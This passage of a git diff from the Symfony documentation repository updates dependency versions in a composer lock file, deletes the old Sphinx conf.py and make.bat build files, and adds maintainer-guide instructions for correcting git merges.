+                "reference": "8590a5f561694770bdcd3f9b5c69dde6945028e8"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/727d1096295d807c309fb01a851577302394c897",
-                "reference": "727d1096295d807c309fb01a851577302394c897",
+                "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/8590a5f561694770bdcd3f9b5c69dde6945028e8",
+                "reference": "8590a5f561694770bdcd3f9b5c69dde6945028e8",
                 "shasum": ""
             },
             "require": {
@@ -1416,7 +1178,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.20-dev"
+                    "dev-main": "1.23-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1459,7 +1221,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.20.0"
+                "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.23.0"
             },
             "funding": [
                 {
@@ -1475,20 +1237,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T14:02:19+00:00"
+            "time": "2021-02-19T12:13:01+00:00"
         },
         {
             "name": "symfony/polyfill-mbstring",
-            "version": "v1.20.0",
+            "version": "v1.23.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-mbstring.git",
-                "reference": "39d483bdf39be819deabf04ec872eb0b2410b531"
+                "reference": "9174a3d80210dca8daa7f31fec659150bbeabfc6"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/39d483bdf39be819deabf04ec872eb0b2410b531",
-                "reference": "39d483bdf39be819deabf04ec872eb0b2410b531",
+                "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/9174a3d80210dca8daa7f31fec659150bbeabfc6",
+                "reference": "9174a3d80210dca8daa7f31fec659150bbeabfc6",
                 "shasum": ""
             },
             "require": {
@@ -1500,7 +1262,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.20-dev"
+                    "dev-main": "1.23-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1539,7 +1301,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.20.0"
+                "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.23.1"
             },
             "funding": [
                 {
@@ -1555,20 +1317,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T14:02:19+00:00"
+            "time": "2021-05-27T12:26:48+00:00"
         },
         {
-            "name": "symfony/polyfill-php72",
-            "version": "v1.20.0",
+            "name": "symfony/polyfill-php73",
+            "version": "v1.23.0",
             "source": {
                 "type": "git",
-                "url": "https://github.com/symfony/polyfill-php72.git",
-                "reference": "cede45fcdfabdd6043b3592e83678e42ec69e930"
+                "url": "https://github.com/symfony/polyfill-php73.git",
+                "reference": "fba8933c384d6476ab14fb7b8526e5287ca7e010"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-php72/zipball/cede45fcdfabdd6043b3592e83678e42ec69e930",
-                "reference": "cede45fcdfabdd6043b3592e83678e42ec69e930",
+                "url": "https://api.github.com/repos/symfony/polyfill-php73/zipball/fba8933c384d6476ab14fb7b8526e5287ca7e010",
+                "reference": "fba8933c384d6476ab14fb7b8526e5287ca7e010",
                 "shasum": ""
             },
             "require": {
@@ -1577,7 +1339,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.20-dev"
+                    "dev-main": "1.23-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1586,10 +1348,13 @@
             },
             "autoload": {
                 "psr-4": {
-                    "Symfony\\Polyfill\\Php72\\": ""
+                    "Symfony\\Polyfill\\Php73\\": ""
                 },
                 "files": [
                     "bootstrap.php"
+                ],
+                "classmap": [
+                    "Resources/stubs"
                 ]
             },
             "notification-url": "https://packagist.org/downloads/",
@@ -1606,7 +1371,7 @@
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony polyfill backporting some PHP 7.2+ features to lower PHP versions",
+            "description": "Symfony polyfill backporting some PHP 7.3+ features to lower PHP versions",
             "homepage": "https://symfony.com",
             "keywords": [
                 "compatibility",
@@ -1615,7 +1380,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-php72/tree/v1.20.0"
+                "source": "https://github.com/symfony/polyfill-php73/tree/v1.23.0"
             },
             "funding": [
                 {
@@ -1631,20 +1396,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T14:02:19+00:00"
+            "time": "2021-02-19T12:13:01+00:00"
         },
         {
-            "name": "symfony/polyfill-php73",
-            "version": "v1.20.0",
+            "name": "symfony/polyfill-php80",
+            "version": "v1.23.1",
             "source": {
                 "type": "git",
-                "url": "https://github.com/symfony/polyfill-php73.git",
-                "reference": "8ff431c517be11c78c48a39a66d37431e26a6bed"
+                "url": "https://github.com/symfony/polyfill-php80.git",
+                "reference": "1100343ed1a92e3a38f9ae122fc0eb21602547be"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-php73/zipball/8ff431c517be11c78c48a39a66d37431e26a6bed",
-                "reference": "8ff431c517be11c78c48a39a66d37431e26a6bed",
+                "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/1100343ed1a92e3a38f9ae122fc0eb21602547be",
+                "reference": "1100343ed1a92e3a38f9ae122fc0eb21602547be",
                 "shasum": ""
             },
             "require": {
@@ -1653,7 +1418,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.20-dev"
+                    "dev-main": "1.23-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1662,7 +1427,7 @@
             },
             "autoload": {
                 "psr-4": {
-                    "Symfony\\Polyfill\\Php73\\": ""
+                    "Symfony\\Polyfill\\Php80\\": ""
                 },
                 "files": [
                     "bootstrap.php"
@@ -1676,6 +1441,10 @@
                 "MIT"
             ],
             "authors": [
+                {
+                    "name": "Ion Bazan",
+                    "email": "ion.bazan@gmail.com"
+                },
                 {
                     "name": "Nicolas Grekas",
                     "email": "p@tchwork.com"
@@ -1685,7 +1454,7 @@
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony polyfill backporting some PHP 7.3+ features to lower PHP versions",
+            "description": "Symfony polyfill backporting some PHP 8.0+ features to lower PHP versions",
             "homepage": "https://symfony.com",
             "keywords": [
                 "compatibility",
@@ -1694,7 +1463,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-php73/tree/v1.20.0"
+                "source": "https://github.com/symfony/polyfill-php80/tree/v1.23.1"
             },
             "funding": [
                 {
@@ -1710,55 +1479,111 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T14:02:19+00:00"
+            "time": "2021-07-28T13:41:28+00:00"
         },
         {
-            "name": "symfony/polyfill-php80",
-            "version": "v1.20.0",
+            "name": "symfony/process",
+            "version": "5.4.x-dev",
             "source": {
                 "type": "git",
-                "url": "https://github.com/symfony/polyfill-php80.git",
-                "reference": "e70aa8b064c5b72d3df2abd5ab1e90464ad009de"
+                "url": "https://github.com/symfony/process.git",
+                "reference": "6bacc79268fb8a2fac52c9f66afe5e041220233f"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/e70aa8b064c5b72d3df2abd5ab1e90464ad009de",
-                "reference": "e70aa8b064c5b72d3df2abd5ab1e90464ad009de",
+                "url": "https://api.github.com/repos/symfony/process/zipball/6bacc79268fb8a2fac52c9f66afe5e041220233f",
+                "reference": "6bacc79268fb8a2fac52c9f66afe5e041220233f",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1"
+                "php": ">=7.2.5",
+                "symfony/polyfill-php80": "^1.16"
+            },
+            "type": "library",
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Component\\Process\\": ""
+                },
+                "exclude-from-classmap": [
+                    "/Tests/"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Fabien Potencier",
+                    "email": "fabien@symfony.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Executes commands in sub-processes",
+            "homepage": "https://symfony.com",
+            "support": {
+                "source": "https://github.com/symfony/process/tree/5.4"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2021-11-03T09:24:47+00:00"
+        },
+        {
+            "name": "symfony/service-contracts",
+            "version": "v2.4.0",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/service-contracts.git",
+                "reference": "f040a30e04b57fbcc9c6cbcf4dbaa96bd318b9bb"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/service-contracts/zipball/f040a30e04b57fbcc9c6cbcf4dbaa96bd318b9bb",
+                "reference": "f040a30e04b57fbcc9c6cbcf4dbaa96bd318b9bb",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=7.2.5",
+                "psr/container": "^1.1"
+            },
+            "suggest": {
+                "symfony/service-implementation": ""
             },
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.20-dev"
+                    "dev-main": "2.4-dev"
                 },
                 "thanks": {
-                    "name": "symfony/polyfill",
-                    "url": "https://github.com/symfony/polyfill"
+                    "name": "symfony/contracts",
+                    "url": "https://github.com/symfony/contracts"
                 }
             },
             "autoload": {
                 "psr-4": {
-                    "Symfony\\Polyfill\\Php80\\": ""
-                },
-                "files": [
-                    "bootstrap.php"
-                ],
-                "classmap": [
-                    "Resources/stubs"
-                ]
+                    "Symfony\\Contracts\\Service\\": ""
+                }
             },
             "notification-url": "https://packagist.org/downloads/",
             "license": [
                 "MIT"
             ],
             "authors": [
-                {
-                    "name": "Ion Bazan",
-                    "email": "ion.bazan@gmail.com"
-                },
                 {
                     "name": "Nicolas Grekas",
                     "email": "p@tchwork.com"
@@ -1768,16 +1593,18 @@
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony polyfill backporting some PHP 8.0+ features to lower PHP versions",
+            "description": "Generic abstractions related to writing services",
             "homepage": "https://symfony.com",
             "keywords": [
-                "compatibility",
-                "polyfill",
-                "portable",
-                "shim"
+                "abstractions",
+                "contracts",
+                "decoupling",
+                "interfaces",
+                "interoperability",
+                "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-php80/tree/v1.20.0"
+                "source": "https://github.com/symfony/service-contracts/tree/v2.4.0"
             },
             "funding": [
                 {
@@ -1793,32 +1620,44 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T14:02:19+00:00"
+            "time": "2021-04-01T10:43:52+00:00"
         },
         {
-            "name": "symfony/process",
-            "version": "5.x-dev",
+            "name": "symfony/string",
+            "version": "v5.3.10",
             "source": {
                 "type": "git",
-                "url": "https://github.com/symfony/process.git",
-                "reference": "88d47196a2fe06db8f90f0c2a986651e91ee3660"
+                "url": "https://github.com/symfony/string.git",
+                "reference": "d70c35bb20bbca71fc4ab7921e3c6bda1a82a60c"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/process/zipball/88d47196a2fe06db8f90f0c2a986651e91ee3660",
-                "reference": "88d47196a2fe06db8f90f0c2a986651e91ee3660",
+                "url": "https://api.github.com/repos/symfony/string/zipball/d70c35bb20bbca71fc4ab7921e3c6bda1a82a60c",
+                "reference": "d70c35bb20bbca71fc4ab7921e3c6bda1a82a60c",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.2.5",
-                "symfony/polyfill-php80": "^1.15"
+                "symfony/polyfill-ctype": "~1.8",
+                "symfony/polyfill-intl-grapheme": "~1.0",
+                "symfony/polyfill-intl-normalizer": "~1.0",
+                "symfony/polyfill-mbstring": "~1.0",
+                "symfony/polyfill-php80": "~1.15"
+            },
+            "require-dev": {
+                "symfony/error-handler": "^4.4|^5.0",
+                "symfony/http-client": "^4.4|^5.0",
+                "symfony/translation-contracts": "^1.1|^2",
+                "symfony/var-exporter": "^4.4|^5.0"
             },
-            "default-branch": true,
             "type": "library",
             "autoload": {
                 "psr-4": {
-                    "Symfony\\Component\\Process\\": ""
+                    "Symfony\\Component\\String\\": ""
                 },
+                "files": [
+                    "Resources/functions.php"
+                ],
                 "exclude-from-classmap": [
                     "/Tests/"
                 ]
@@ -1829,18 +1668,26 @@
             ],
             "authors": [
                 {
-                    "name": "Fabien Potencier",
-                    "email": "fabien@symfony.com"
+                    "name": "Nicolas Grekas",
+                    "email": "p@tchwork.com"
                 },
                 {
                     "name": "Symfony Community",
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony Process Component",
+            "description": "Provides an object-oriented API to strings and deals with bytes, UTF-8 code points and grapheme clusters in a unified way",
             "homepage": "https://symfony.com",
+            "keywords": [
+                "grapheme",
+                "i18n",
+                "string",
+                "unicode",
+                "utf-8",
+                "utf8"
+            ],
             "support": {
-                "source": "https://github.com/symfony/process/tree/5.x"
+                "source": "https://github.com/symfony/string/tree/v5.3.10"
             },
             "funding": [
                 {
@@ -1856,33 +1703,32 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-24T12:08:07+00:00"
+            "time": "2021-10-27T18:21:46+00:00"
         },
         {
-            "name": "symfony/service-contracts",
-            "version": "v2.2.0",
+            "name": "symfony/translation-contracts",
+            "version": "v2.4.0",
             "source": {
                 "type": "git",
-                "url": "https://github.com/symfony/service-contracts.git",
-                "reference": "d15da7ba4957ffb8f1747218be9e1a121fd298a1"
+                "url": "https://github.com/symfony/translation-contracts.git",
+                "reference": "95c812666f3e91db75385749fe219c5e494c7f95"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/service-contracts/zipball/d15da7ba4957ffb8f1747218be9e1a121fd298a1",
-                "reference": "d15da7ba4957ffb8f1747218be9e1a121fd298a1",
+                "url": "https://api.github.com/repos/symfony/translation-contracts/zipball/95c812666f3e91db75385749fe219c5e494c7f95",
+                "reference": "95c812666f3e91db75385749fe219c5e494c7f95",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.5",
-                "psr/container": "^1.0"
+                "php": ">=7.2.5"
             },
             "suggest": {
-                "symfony/service-implementation": ""
+                "symfony/translation-implementation": ""
             },
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-master": "2.2-dev"
+                    "dev-main": "2.4-dev"
                 },
                 "thanks": {
                     "name": "symfony/contracts",
@@ -1891,7 +1737,7 @@
             },
             "autoload": {
                 "psr-4": {
-                    "Symfony\\Contracts\\Service\\": ""
+                    "Symfony\\Contracts\\Translation\\": ""
                 }
             },
             "notification-url": "https://packagist.org/downloads/",
@@ -1908,7 +1754,7 @@
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Generic abstractions related to writing services",
+            "description": "Generic abstractions related to translation",
             "homepage": "https://symfony.com",
             "keywords": [
                 "abstractions",
@@ -1919,7 +1765,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/service-contracts/tree/master"
+                "source": "https://github.com/symfony/translation-contracts/tree/v2.4.0"
             },
             "funding": [
                 {
@@ -1935,20 +1781,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-09-07T11:33:47+00:00"
+            "time": "2021-03-23T23:28:01+00:00"
         },
         {
             "name": "twig/twig",
-            "version": "v2.14.0",
+            "version": "v3.3.3",
             "source": {
                 "type": "git",
                 "url": "https://github.com/twigphp/Twig.git",
-                "reference": "d495243dade48c39b6a5261c26cdbd8c5703f6a0"
+                "reference": "a27fa056df8a6384316288ca8b0fa3a35fdeb569"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/twigphp/Twig/zipball/d495243dade48c39b6a5261c26cdbd8c5703f6a0",
-                "reference": "d495243dade48c39b6a5261c26cdbd8c5703f6a0",
+                "url": "https://api.github.com/repos/twigphp/Twig/zipball/a27fa056df8a6384316288ca8b0fa3a35fdeb569",
+                "reference": "a27fa056df8a6384316288ca8b0fa3a35fdeb569",
                 "shasum": ""
             },
             "require": {
@@ -1958,18 +1804,15 @@
             },
             "require-dev": {
                 "psr/container": "^1.0",
-                "symfony/phpunit-bridge": "^4.4.9|^5.0.9"
+                "symfony/phpunit-bridge": "^4.4.9|^5.0.9|^6.0"
             },
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-master": "2.14-dev"
+                    "dev-master": "3.3-dev"
                 }
             },
             "autoload": {
-                "psr-0": {
-                    "Twig_": "lib/"
-                },
                 "psr-4": {
                     "Twig\\": "src/"
                 }
@@ -2002,7 +1845,7 @@
             ],
             "support": {
                 "issues": "https://github.com/twigphp/Twig/issues",
-                "source": "https://github.com/twigphp/Twig/tree/v2.14.0"
+                "source": "https://github.com/twigphp/Twig/tree/v3.3.3"
             },
             "funding": [
                 {
@@ -2014,24 +1857,21 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-21T12:35:06+00:00"
+            "time": "2021-09-17T08:44:23+00:00"
         }
     ],
     "packages-dev": [],
     "aliases": [],
     "minimum-stability": "dev",
-    "stability-flags": {
-        "symfony/docs-builder": 20,
-        "symfony/process": 20
-    },
+    "stability-flags": [],
     "prefer-stable": true,
     "prefer-lowest": false,
     "platform": {
-        "php": ">=7.2.9"
+        "php": ">=7.4"
     },
     "platform-dev": [],
     "platform-overrides": {
-        "php": "7.2.9"
+        "php": "7.4.14"
     },
-    "plugin-api-version": "2.0.0"
+    "plugin-api-version": "2.1.0"
 }
diff --git a/_build/conf.py b/_build/conf.py
deleted file mode 100644
index 071991c5411..00000000000
--- a/_build/conf.py
+++ /dev/null
@@ -1,302 +0,0 @@
-# -*- coding: utf-8 -*-
-#
-# Symfony documentation build configuration file, created by
-# sphinx-quickstart on Sat Jul 28 21:58:57 2012.
-#
-# This file is execfile()d with the current directory set to its containing dir.
-#
-# Note that not all possible configuration values are present in this
-# autogenerated file.
-#
-# All configuration values have a default; values that are commented out
-# serve to show the default.
-
-import sys, os
-
-# If extensions (or modules to document with autodoc) are in another directory,
-# add these directories to sys.path here. If the directory is relative to the
-# documentation root, use os.path.abspath to make it absolute, like shown here.
-sys.path.append(os.path.abspath('_exts'))
-
-# adding PhpLexer
-from sphinx.highlighting import lexers
-from pygments.lexers.compiled import CLexer
-from pygments.lexers.shell import BashLexer
-from pygments.lexers.special import TextLexer
-from pygments.lexers.text import RstLexer
-from pygments.lexers.web import PhpLexer
-from symfonycom.sphinx.lexer import TerminalLexer
-
-# -- General configuration -----------------------------------------------------
-
-# If your documentation needs a minimal Sphinx version, state it here.
-needs_sphinx = '1.8.5'
-
-# Add any Sphinx extension module names here, as strings. They can be extensions
-# coming with Sphinx (named 'sphinx.ext.*') or your custom ones.
-extensions = [
-    'sphinx.ext.autodoc', 'sphinx.ext.doctest',
-    'sphinx.ext.todo', 'sphinx.ext.coverage', 'sphinx.ext.ifconfig',
-    'sphinx.ext.viewcode', 'sphinx.ext.extlinks',
-    'sensio.sphinx.codeblock', 'sensio.sphinx.configurationblock', 'sensio.sphinx.phpcode', 'sensio.sphinx.bestpractice'
-    #,'sphinxcontrib.spelling'
-]
-
-#spelling_show_sugestions=True
-#spelling_lang='en_US'
-#spelling_word_list_filename='_build/spelling_word_list.txt'
-
-# Add any paths that contain templates here, relative to this directory.
-# templates_path = ['_theme/_templates']
-
-# The suffix of source filenames.
-source_suffix = '.rst'
-
-# The encoding of source files.
-#source_encoding = 'utf-8-sig'
-
-# The master toctree document.
-master_doc = 'index'
-
-# General information about the project.
-project = 'Symfony Framework Documentation'
-copyright = ''
-
-# The version info for the project you're documenting, acts as replacement for
-# |version| and |release|, also used in various other places throughout the
-# built documents.
-#
-# The short X.Y version.
-# version = '2.2'
-# The full version, including alpha/beta/rc tags.
-# release = '2.2.13'
-
-# The language for content autogenerated by Sphinx. Refer to documentation
-# for a list of supported languages.
-#language = None
-
-# There are two options for replacing |today|: either, you set today to some
-# non-false value, then it is used:
-#today = ''
-# Else, today_fmt is used as the format for a strftime call.
-#today_fmt = '%B %d, %Y'
-
-# List of patterns, relative to source directory, that match files and
-# directories to ignore when looking for source files.
-exclude_patterns = ['_build']
-
-# The reST default role (used for this markup: `text`) to use for all documents.
-#default_role = None
-
-# If true, '()' will be appended to :func: etc. cross-reference text.
-#add_function_parentheses = True
-
-# If true, the current module name will be prepended to all description
-# unit titles (such as .. function::).
-#add_module_names = True
-
-# If true, sectionauthor and moduleauthor directives will be shown in the
-# output. They are ignored by default.
-#show_authors = False
-
-# The name of the Pygments (syntax highlighting) style to use.
-pygments_style = 'symfonycom.sphinx.SensioStyle'
-
-# A list of ignored prefixes for module index sorting.
-#modindex_common_prefix = []
-
-# -- Settings for symfony doc extension ---------------------------------------------------
-
-# enable highlighting for PHP code not between ``<?php ... ?>`` by default
-lexers['markdown'] = TextLexer()
-lexers['php'] = PhpLexer(startinline=True)
-lexers['php-annotations'] = PhpLexer(startinline=True)
-lexers['php-attributes'] = PhpLexer(startinline=True)
-lexers['php-standalone'] = PhpLexer(startinline=True)
-lexers['php-symfony'] = PhpLexer(startinline=True)
-lexers['rst'] = RstLexer()
-lexers['varnish2'] = CLexer()
-lexers['varnish3'] = CLexer()
-lexers['varnish4'] = CLexer()
-lexers['terminal'] = TerminalLexer()
-lexers['env']  = BashLexer()
-
-config_block = {
-    'apache': 'Apache',
-    'markdown': 'Markdown',
-    'nginx': 'Nginx',
-    'rst': 'reStructuredText',
-    'varnish2': 'Varnish 2',
-    'varnish3': 'Varnish 3',
-    'varnish4': 'Varnish 4',
-    'env': '.env'
-}
-
-# don't enable Sphinx Domains
-primary_domain = None
-
-# set url for API links
-api_url = 'https://github.com/symfony/symfony/blob/master/src/%s.php'
-
-
-# -- Options for HTML output ---------------------------------------------------
-
-# The theme to use for HTML and HTML Help pages.  See the documentation for
-# a list of builtin themes.
-html_theme = "sphinx_rtd_theme"
-
-# Theme options are theme-specific and customize the look and feel of a theme
-# further.  For a list of options available for each theme, see the
-# documentation.
-html_theme_options = {
-    'logo_only': True,
-    'prev_next_buttons_location': None,
-    'style_nav_header_background': '#f0f0f0'
-}
-
-# Add any paths that contain custom themes here, relative to this directory.
-#html_theme_path = []
-
-# The name for this set of Sphinx documents.  If None, it defaults to
-# "<project> v<release> documentation".
-#html_title = None
-
-# A shorter title for the navigation bar.  Default is the same as html_title.
-#html_short_title = None
-
-# The name of an image file (relative to this directory) to place at the top
-# of the sidebar.
-html_logo = '_static/symfony-logo.svg'
-
-# The name of an image file (within the static path) to use as favicon of the
-# docs.  This file should be a Windows icon file (.ico) being 16x16 or 32x32
-# pixels large.
-#html_favicon = None
-
-# Add any paths that contain custom static files (such as style sheets) here,
-# relative to this directory. They are copied after the builtin static files,
-# so a file named "default.css" will overwrite the builtin "default.css".
-html_static_path = ['_static']
-html_css_files = ['rtd_custom.css']
-
-# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
-# using the given strftime format.
-#html_last_updated_fmt = '%b %d, %Y'
-
-# If true, SmartyPants will be used to convert quotes and dashes to
-# typographically correct entities.
-#html_use_smartypants = True
-
-# Custom sidebar templates, maps document names to template names.
-#html_sidebars = {}
-
-# Additional templates that should be rendered to pages, maps page names to
-# template names.
-#html_additional_pages = {}
-
-# If false, no module index is generated.
-#html_domain_indices = True
-
-# If false, no index is generated.
-#html_use_index = True
-
-# If true, the index is split into individual pages for each letter.
-#html_split_index = False
-
-# If true, links to the reST sources are added to the pages.
-#html_show_sourcelink = True
-
-# If true, "Created using Sphinx" is shown in the HTML footer. Default is True.
-#html_show_sphinx = True
-
-# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True.
-#html_show_copyright = True
-
-# If true, an OpenSearch description file will be output, and all pages will
-# contain a <link> tag referring to it.  The value of this option must be the
-# base URL from which the finished HTML is served.
-#html_use_opensearch = ''
-
-# This is the file name suffix for HTML files (e.g. ".xhtml").
-#html_file_suffix = None
-
-# Output file base name for HTML help builder.
-htmlhelp_basename = 'SymfonyDoc'
-
-
-# -- Options for LaTeX output --------------------------------------------------
-
-latex_elements = {
-# The paper size ('letterpaper' or 'a4paper').
-#'papersize': 'letterpaper',
-
-# The font size ('10pt', '11pt' or '12pt').
-#'pointsize': '10pt',
-
-# Additional stuff for the LaTeX preamble.
-#'preamble': '',
-}
-
-# Grouping the document tree into LaTeX files. List of tuples
-# (source start file, target name, title, author, documentclass [howto/manual]).
-latex_documents = [
-  ('index', 'Symfony.tex', u'Symfony Documentation',
-   u'Symfony community', 'manual'),
-]
-
-# The name of an image file (relative to this directory) to place at the top of
-# the title page.
-#latex_logo = None
-
-# For "manual" documents, if this is true, then toplevel headings are parts,
-# not chapters.
-#latex_use_parts = False
-
-# If true, show page references after internal links.
-#latex_show_pagerefs = False
-
-# If true, show URL addresses after external links.
-#latex_show_urls = False
-
-# Documents to append as an appendix to all manuals.
-#latex_appendices = []
-
-# If false, no module index is generated.
-#latex_domain_indices = True
-
-
-# -- Options for manual page output --------------------------------------------
-
-# One entry per manual page. List of tuples
-# (source start file, name, description, authors, manual section).
-man_pages = [
-    ('index', 'symfony', u'Symfony Documentation',
-     [u'Symfony community'], 1)
-]
-
-# If true, show URL addresses after external links.
-#man_show_urls = False
-
-
-# -- Options for Texinfo output ------------------------------------------------
-
-# Grouping the document tree into Texinfo files. List of tuples
-# (source start file, target name, title, author,
-#  dir menu entry, description, category)
-texinfo_documents = [
-  ('index', 'Symfony', u'Symfony Documentation',
-   u'Symfony community', 'Symfony', 'One line description of project.',
-   'Miscellaneous'),
-]
-
-# Documents to append as an appendix to all manuals.
-#texinfo_appendices = []
-
-# If false, no module index is generated.
-#texinfo_domain_indices = True
-
-# How to display URL addresses: 'footnote', 'no', or 'inline'.
-#texinfo_show_urls = 'footnote'
-
-# Use PHP syntax highlighting in code examples by default
-highlight_language='php'
diff --git a/_build/maintainer_guide.rst b/_build/maintainer_guide.rst
index 7eff3143941..7e5cbc8caba 100644
--- a/_build/maintainer_guide.rst
+++ b/_build/maintainer_guide.rst
@@ -335,6 +335,43 @@ in the tree as follows:
     $ git push origin
     $ git push upstream
 
+Merging in the wrong branch
+...........................
+
+A Pull Request was made against ``5.x`` but it should be merged in ``5.1`` and you
+forgot to merge as ``gh merge NNNNN -s 5.1`` to change the merge branch. Solution:
+
+.. code-block:: terminal
+
+    $ git checkout 5.1
+    $ git cherry-pick <SHA OF YOUR MERGE COMMIT> -m 1
+    $ git checkout 5.x
+    $ git revert <SHA OF YOUR MERGE COMMIT> -m 1
+    # now continue with the normal "upmerging"
+    $ git checkout 5.2
+    $ git merge 5.1
+    $ ...
+
+Merging while the target branch changed
+.......................................
+
+Sometimes, someone else merges a PR in ``5.x`` at the same time as you are
+doing it. In these cases, ``gh merge ...`` fails to push. Solve this by
+resetting your local branch and restarting the merge:
+
+.. code-block:: terminal
+
+    $ gh merge ...
+    # this failed
+
+    # fetch the updated 5.x branch from GitHub
+    $ git fetch upstream
+    $ git checkout 5.x
+    $ git reset --hard upstream/5.x
+
+    # restart the merge
+    $ gh merge ...
+
 .. _`symfony/symfony-docs`: https://github.com/symfony/symfony-docs
 .. _`Symfony Docs team`: https://github.com/orgs/symfony/teams/team-symfony-docs
 .. _`Symfony's respectful review comments`: https://symfony.com/doc/current/contributing/community/review-comments.html
diff --git a/_build/make.bat b/_build/make.bat
deleted file mode 100644
index 6d3f205272f..00000000000
--- a/_build/make.bat
+++ /dev/null
@@ -1,263 +0,0 @@
-@ECHO OFF
-
-REM Command file for Sphinx documentation
-
-if "%SPHINXBUILD%" == "" (
-	set SPHINXBUILD=sphinx-build
-)
-set BUILDDIR=.
-set ALLSPHINXOPTS=-c %BUILDDIR% -d %BUILDDIR%/doctrees %SPHINXOPTS% ..
-set I18NSPHINXOPTS=%SPHINXOPTS% .
-if NOT "%PAPER%" == "" (
-	set ALLSPHINXOPTS=-D latex_paper_size=%PAPER% %ALLSPHINXOPTS%
-	set I18NSPHINXOPTS=-D latex_paper_size=%PAPER% %I18NSPHINXOPTS%
-)
-
-if "%1" == "" goto help
-
-if "%1" == "help" (
-	:help
-	echo.Please use `make ^<target^>` where ^<target^> is one of
-	echo.  html       to make standalone HTML files
-	echo.  dirhtml    to make HTML files named index.html in directories
-	echo.  singlehtml to make a single large HTML file
-	echo.  pickle     to make pickle files
-	echo.  json       to make JSON files
-	echo.  htmlhelp   to make HTML files and a HTML help project
-	echo.  qthelp     to make HTML files and a qthelp project
-	echo.  devhelp    to make HTML files and a Devhelp project
-	echo.  epub       to make an epub
-	echo.  latex      to make LaTeX files, you can set PAPER=a4 or PAPER=letter
-	echo.  text       to make text files
-	echo.  man        to make manual pages
-	echo.  texinfo    to make Texinfo files
-	echo.  gettext    to make PO message catalogs
-	echo.  changes    to make an overview over all changed/added/deprecated items
-	echo.  xml        to make Docutils-native XML files
-	echo.  pseudoxml  to make pseudoxml-XML files for display purposes
-	echo.  linkcheck  to check all external links for integrity
-	echo.  doctest    to run all doctests embedded in the documentation if enabled
-	echo.  coverage   to run coverage check of the documentation if enabled
-	goto end
-)
-
-if "%1" == "clean" (
-	for /d %%i in (%BUILDDIR%\*) do rmdir /q /s %%i
-	del /q /s %BUILDDIR%\*
-	goto end
-)
-
-
-REM Check if sphinx-build is available and fallback to Python version if any
